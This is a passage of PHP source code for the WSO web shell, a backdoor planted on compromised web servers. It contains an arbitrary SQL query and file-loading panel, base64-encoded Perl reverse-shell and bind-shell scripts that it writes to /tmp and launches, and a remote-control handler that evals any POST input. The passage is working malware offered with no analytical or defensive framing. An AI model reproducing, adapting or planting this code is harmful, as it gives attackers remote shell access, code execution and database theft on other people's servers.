1366 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1367 </tr>
1368 </table>
1369 <script>
1370 s_db='".@addslashes($_POST['sql_base'])."';
1371 function fs(f) {
1372 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1373 if(f.p) f.p.value='';
1374 if(f.x) f.x.value='';
1375 if(f.s) f.s.value='';
1376 }
1377 }
1378 function st(t,l) {
1379 d.sf.p.value = 'select';
1380 d.sf.x.value = t;
1381 if(l && d.sf.s) d.sf.s.value = l;
1382 d.sf.submit();
1383 }
1384 function is() {
1385 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1386 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1387 }
1388 </script>";
1389 if(isset($db) && $db->link){
1390 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1391 if(!empty($_POST['sql_base'])){
1392 $db->selectdb($_POST['sql_base']);
1393 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1394 $tbls_res = $db->listTables();
1395 while($item = $db->fetch($tbls_res)) {
1396 list($key, $value) = each($item);
1397 if(!empty($_POST['sql_count']))
1398 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1399 $value = htmlspecialchars($value);
1400 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1401 }
1402 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.x.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1403 if(@$_POST['p'] == 'select') {
1404 $_POST['p'] = 'query';
1405 $_POST['s'] = $_POST['s']?$_POST['s']:1;
1406 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['x']);
1407 $num = $db->fetch();
1408 $pages = ceil($num['n'] / 30);
1409 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['x'] . "\", d.sf.s.value)}</script><span>".$_POST['x']."</span> ({$num['n']} records) Page # <input type=text name='s' value=" . ((int)$_POST['s']) . ">";
1410 echo " of $pages";
1411 if($_POST['s'] > 1)
1412 echo " <a href=# onclick='st(\"" . $_POST['x'] . '", ' . ($_POST['s']-1) . ")'>< Prev</a>";
1413 if($_POST['s'] < $pages)
1414 echo " <a href=# onclick='st(\"" . $_POST['x'] . '", ' . ($_POST['s']+1) . ")'>Next ></a>";
1415 $_POST['s']--;
1416 if($_POST['type']=='pgsql')
1417 $_POST['x'] = 'SELECT * FROM '.$_POST['x'].' LIMIT 30 OFFSET '.($_POST['s']*30);
1418 else
1419 $_POST['x'] = 'SELECT * FROM `'.$_POST['x'].'` LIMIT '.($_POST['s']*30).',30';
1420 echo "<br><br>";
1421 }
1422 if((@$_POST['p'] == 'query') && !empty($_POST['x'])) {
1423 $db->query(@$_POST['x']);
1424 if($db->res !== false) {
1425 $title = false;
1426 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1427 $line = 1;
1428 while($item = $db->fetch()) {
1429 if(!$title) {
1430 echo '<tr>';
1431 foreach($item as $key => $value)
1432 echo '<th>'.$key.'</th>';
1433 reset($item);
1434 $title=true;
1435 echo '</tr><tr>';
1436 $line = 2;
1437 }
1438 echo '<tr class="l'.$line.'">';
1439 $line = $line==1?2:1;
1440 foreach($item as $key => $value) {
1441 if($value == null)
1442 echo '<td><i>null</i></td>';
1443 else
1444 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1445 }
1446 echo '</tr>';
1447 }
1448 echo '</table>';
1449 } else {
1450 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1451 }
1452 }
1453 echo "<br></form><form onsubmit='d.sf.p.value=\"query\";d.sf.x.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1454 if(!empty($_POST['x']) && ($_POST['p'] != 'loadfile'))
1455 echo htmlspecialchars($_POST['x']);
1456 echo "</textarea><br/><input type=submit value='Execute'>";
1457 echo "</td></tr>";
1458 }
1459 echo "</table></form><br/>";
1460 if($_POST['type']=='mysql') {
1461 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1462 if($db->fetch())
1463 echo "<form onsubmit='d.sf.p.value=\"loadfile\";document.sf.x.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1464 }
1465 if(@$_POST['p'] == 'loadfile') {
1466 $file = $db->loadFile($_POST['x']);
1467 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1468 }
1469 } else {
1470 echo htmlspecialchars($db->error());
1471 }
1472 echo '</div>';
1473 wsoFooter();
1474}
1475function actionNetwork() {
1476 wsoHeader();
1477 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1478 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1479 echo "<h1>Network tools</h1><div class=content>
1480 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1481 <span>Bind port to /bin/sh [perl]</span><br/>
1482 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1483 </form>
1484 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1485 <span>Back-connect [perl]</span><br/>
1486 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1487 </form><br>";
1488 if(isset($_POST['p'])) {
1489 function cf($f,$t) {
1490 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1491 if($w){
1492 @fwrite($w,@base64_decode($t));
1493 @fclose($w);
1494 }
1495 }
1496 if($_POST['p'] == 'bpp') {
1497 cf("/tmp/bp.pl",$bind_port_p);
1498 $out = wsoEx("perl /tmp/bp.pl ".$_POST['x']." 1>/dev/null 2>&1 &");
1499 sleep(1);
1500 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1501 unlink("/tmp/bp.pl");
1502 }
1503 if($_POST['p'] == 'bcp') {
1504 cf("/tmp/bc.pl",$back_connect_p);
1505 $out = wsoEx("perl /tmp/bc.pl ".$_POST['x']." ".$_POST['s']." 1>/dev/null 2>&1 &");
1506 sleep(1);
1507 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1508 unlink("/tmp/bc.pl");
1509 }
1510 }
1511 echo '</div>';
1512 wsoFooter();
1513}
1514function actionRC() {
1515 if(!@$_POST['p']) {
1516 $a = array(
1517 "uname" => php_uname(),
1518 "php_version" => phpversion(),
1519 "wso_version" => WSO_VERSION,
1520 "safemode" => @ini_get('safe_mode')
1521 );
1522 echo serialize($a);
1523 } else {
1524 eval($_POST['p']);
1525 }
1526}
1527if( empty($_POST['a']) )
1528 if(isset($default_action) && function_exists('action' . $default_action))
1529 $_POST['a'] = $default_action;
1530 else
1531 $_POST['a'] = 'si';
1532if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1533 call_user_func('action' . $_POST['a']);
1534exit;
1535?>